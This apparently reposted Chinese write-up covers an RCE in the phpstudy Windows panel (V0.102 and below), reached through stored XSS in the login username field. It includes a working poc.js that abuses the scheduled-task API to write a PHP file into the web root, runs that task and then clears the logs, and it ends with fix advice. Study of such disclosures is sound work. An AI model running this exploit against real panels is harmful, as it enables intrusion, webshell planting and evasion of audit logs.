phpstudy小皮Windows面板RCE漏洞

简介

phpstudy是一款集成了最新版apache+php+mysql+phpmyadmin+zendoptimizer的php调试环境程序包。该程序包无需复杂配置,一次性安装即可使用,是一款非常便捷且高效的php调试工具。此外,phpstudy还提供了开发工具和开发手册,进一步增强了其实用性。

概述

phpstudy小皮面板中存在一个远程代码执行(RCE)漏洞。经分析和复现,发现此漏洞源于一个存储型的跨站脚本(XSS)漏洞。通过在系统登录用户名输入框中注入XSS代码,并结合系统后台自动添加计划任务的功能,可以实现RCE。

影响版本

此漏洞影响小皮windows面板V0.102及以下版本。官方已发布修复版本,可从以下链接下载漏洞版本:https://www.php.cn/link/bea65a5d4303b90f2d29322ea14aeffb

漏洞复现

安装成功后,系统会弹出初始账号和密码:

phpstudy小皮Windows面板RCE漏洞

立即学习“PHP免费学习笔记(深入)”;

在尝试几次错误的用户名和密码后(需要正确输入验证码),发现错误的用户名会被记录到首页的操作日志中:

phpstudy小皮Windows面板RCE漏洞

进一步尝试在登录框中插入XSS代码,发现漏洞正是通过登录窗口的存储型XSS实现的。登录框未进行有效限制,且登录失败的用户名会被直接显示在小皮首页的日志中,从而可以插入任意XSS代码。结合phpstudy内置的计划任务功能,可以写入webshell实现RCE。

phpstudy小皮Windows面板RCE漏洞

AiPPT模板广场 AiPPT模板广场

AiPPT模板广场-PPT模板-word文档模板-excel表格模板

AiPPT模板广场 147 查看详情 AiPPT模板广场

phpstudy小皮Windows面板RCE漏洞

phpstudy小皮Windows面板RCE漏洞

系统后台的计划任务功能允许执行系统命令,因此通过登录处的XSS漏洞,可以写入计划任务来执行命令。

在VPS上部署时,需要插入以下poc.js文件(写入目录根据本地实际情况进行调整):

function poc() {  $.get('/service/app/tasks.php?type=task_list', {}, function(data) {    var id = data.data[0].ID;    $.post('/service/app/tasks.php?type=exec_task', {      tid: id    }, function(res2) {      $.post('/service/app/log.php?type=clearlog', {}, function(res3) {}, "json");    }, "json");  }, "json");}function save() {  var data = new Object();  data.task_id = "";  data.title = "test";  data.exec_cycle = "1";  data.week = "1";  data.day = "3";  data.hour = "14";  data.minute = "20";  data.shell = 'echo "" >D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';  $.post('/service/app/tasks.php?type=save_shell', data, function(res) {    poc();  }, 'json');}save();

将上述代码插入登录框中,加载远程js代码:

phpstudy小皮Windows面板RCE漏洞

phpstudy小皮Windows面板RCE漏洞

修复方式

更新到最新版本的小皮面板,即可修复此漏洞。最新版的小皮面板已修复此漏洞。

以上就是phpstudy小皮Windows面板RCE漏洞的详细内容,更多请关注创想鸟其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/479935.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2025年11月8日 10:49:39
下一篇 2025年11月8日 10:50:10

相关推荐

  • Python 使用 glob 匹配文件路径模式

    glob模块用通配符匹配文件路径,支持、?、[]和*等模式,可结合recursive=True递归查找文件,适用于批量处理如列出.py文件,返回字符串列表,建议用/分隔路径,复杂场景可用pathlib替代。 在 Python 中,glob 模块用于查找符合特定规则的文件路径名,使用的是简单的通配符模…

    2025年12月14日
    000
  • python redirect函数怎么用?

    redirect是Web框架提供的页面跳转工具,Flask中用from flask import redirect, url_for配合使用,可跳转内部路由或外部网址,常用于表单提交后防重复或权限验证失败跳转。 Python 中并没有一个叫 redirect 的内置函数,但你在不同场景下可能会遇到名…

    2025年12月14日 好文分享
    000
  • python配置日志记录

    配置Python日志需先调用basicConfig设置级别、格式和输出位置,或创建Logger实例并添加Handler与Formatter以实现多目标输出;对于长期运行服务,应使用RotatingFileHandler或TimedRotatingFileHandler实现按大小或时间轮转日志文件。 …

    2025年12月14日 好文分享
    000
  • python中s3cmd是什么?

    s3cmd是一个用Python编写的开源命令行工具,用于通过简单命令与S3协议兼容的云存储服务交互,支持上传、下载、删除、同步文件及管理权限等操作;它依赖boto等库调用RESTful API,虽不可在Python代码中直接import使用,但可通过subprocess模块在脚本中调用其命令,适合运…

    2025年12月14日
    000
  • 如何冻结项目依赖并分享给团队

    答案:通过生成并提交依赖锁定文件、纳入版本控制、提供清晰安装说明及定期同步更新,可确保团队开发环境一致。例如Python用pip freeze生成requirements.txt,Node.js使用package-lock.json或yarn.lock,Go通过go.mod和go.sum锁定版本,均…

    2025年12月14日
    000
  • Python 文件锁机制的实现方法

    文件锁用于防止多进程或线程同时读写同一文件导致数据冲突。1. fcntl模块在Unix/Linux下实现建议性锁,需所有进程遵守规则;2. portalocker库跨平台兼容,封装了fcntl和msvcrt,使用简单;3. 原子写入通过临时文件加os.rename()实现,适用于写操作频繁且读写不重…

    2025年12月14日
    000
  • python中如何查看stdin编码?

    答案是sys.stdin.encoding可直接获取标准输入编码,如utf-8或cp936;在重定向、管道或非终端环境可能为None或不一致,需结合locale.getpreferredencoding()参考,且该属性只读不可修改。 在Python中查看stdin的编码方式,可以通过sys.std…

    2025年12月14日
    000
  • Python 文件修改时间与创建时间读取

    答案:在Python中可通过os.path和pathlib模块获取文件时间;1. 使用os.path.getmtime()获取修改时间;2. os.path.getctime()在Windows返回创建时间,Linux为inode更改时间;3. pathlib提供更现代语法,file_path.st…

    2025年12月14日
    000
  • 初学者用 VS Code 搭建 Python 环境的全流程

    答案是用VS Code搭建Python环境只需五步:安装Python并添加到PATH,下载VS Code,安装Python扩展,创建运行hello.py文件,最后配置解释器选择正确版本即可开始编程。 刚接触 Python 的新手常常被环境配置搞得一头雾水。其实用 VS Code 搭建 Python …

    2025年12月14日
    000
  • Python 处理文件编码错误的解决方法

    先明确文件真实编码并显式指定。常见方法包括:1. 打开时用encoding参数指定gbk、utf-8等;2. 用chardet库自动检测编码;3. 设置errors=’ignore’或’replace’处理异常字符;4. 将文件统一转为UTF-8编码保…

    2025年12月14日
    000
  • python如何实现工作表合并?

    答案:Python通过pandas库实现工作表合并,常用concat方法。首先读取多个Excel文件或Sheet页数据,依次添加到DataFrame中,可选择性加入来源标识列,最后统一保存为新Excel文件,适用于多文件或多Sheet的行向合并场景。 Python实现工作表合并主要通过 pandas…

    2025年12月14日
    000
  • 如何使用py​thon3中的heapq模块?

    Python3的heapq模块提供最小堆操作,通过heappush、heappop和heapify函数对列表进行堆处理;可通过取负数模拟最大堆;支持nsmallest、nlargest等高效应用;自定义对象需实现__lt__方法以支持比较。 Python3中的heapq模块提供了对堆(最小堆)的基本…

    2025年12月14日
    000
  • 如何使用python中的optionparser模块?

    OptionParser属于optparse库,用于解析命令行参数。首先导入并创建实例:from optparse import OptionParser; parser = OptionParser()。通过add_option()添加选项,支持短格式(-v)和长格式(–verbose…

    2025年12月14日
    000
  • Python之PyArmadillo计算库的产生

    PyArmadillo 是将 C++ Armadillo 库引入 Python 的高性能线性代数工具,1. 通过 Cython 或 pybind11 封装实现高效矩阵运算,2. 支持密集与稀疏矩阵并提供 MATLAB 风格语法,3. 填补 NumPy/SciPy 在大规模计算与 C++ 协同开发中的…

    2025年12月14日
    000
  • python Faker库如何使用?

    Faker库是Python中用于生成伪造数据的强大工具,适用于开发、测试和演示场景。通过pip install faker安装后,可导入并创建Faker实例生成各类数据,如姓名、邮箱、地址、电话号码和日期等。默认使用英语环境,支持通过Faker(‘zh_CN’)等方式切换为中…

    2025年12月14日
    000
  • python oracle数据库如何安装?

    首先安装Oracle Instant Client并配置环境变量,再通过pip install oracledb安装Python驱动,最后用代码测试连接;确保客户端版本与系统匹配,并正确设置PATH、LD_LIBRARY_PATH或DYLD_LIBRARY_PATH以避免常见错误。 要在Python…

    2025年12月14日
    000
  • python如何对电脑进行清屏

    在Python中实现清屏操作需根据操作系统选择方法:Windows使用os.system(‘cls’),Linux/macOS使用os.system(‘clear’),跨平台可写为os.system(‘cls’ if os.na…

    2025年12月14日
    000
  • Python 解释器的几种常见实现

    CPython是官方标准实现,用C编写,支持广泛但多线程受GIL限制;2. Jython将Python编译为Java字节码,适用于JVM平台并可调用Java库,但不支持C扩展且版本更新慢;3. IronPython运行在.NET平台,支持与C#交互,适合Windows和.NET集成,同样不兼容多数C…

    2025年12月14日
    000
  • Python 环境的轻量化管理技巧

    使用 venv 创建独立环境,结合 pip 精确管理依赖,pipx 隔离工具包,避免冗余安装,保持环境轻量,提升开发与部署效率。 在 Python 开发中,环境管理是确保项目依赖隔离、避免版本冲突的关键环节。轻量化管理不仅能提升开发效率,还能简化部署流程。核心思路是:按需创建最小化环境,精准控制依赖…

    2025年12月14日
    000
  • 如何自定义Python库创建和使用?

    先创建模块文件如math_utils.py并定义函数,再通过import导入使用;功能增多时可组织为包,含__init__.py的文件夹即为包,最后可用setup.py安装自定义库。 想在Python中自定义库并使用它,其实并不复杂。只要把代码组织成模块或包的形式,就能像第三方库一样导入和调用。下面…

    2025年12月14日
    000

发表回复

登录后才能评论
关注微信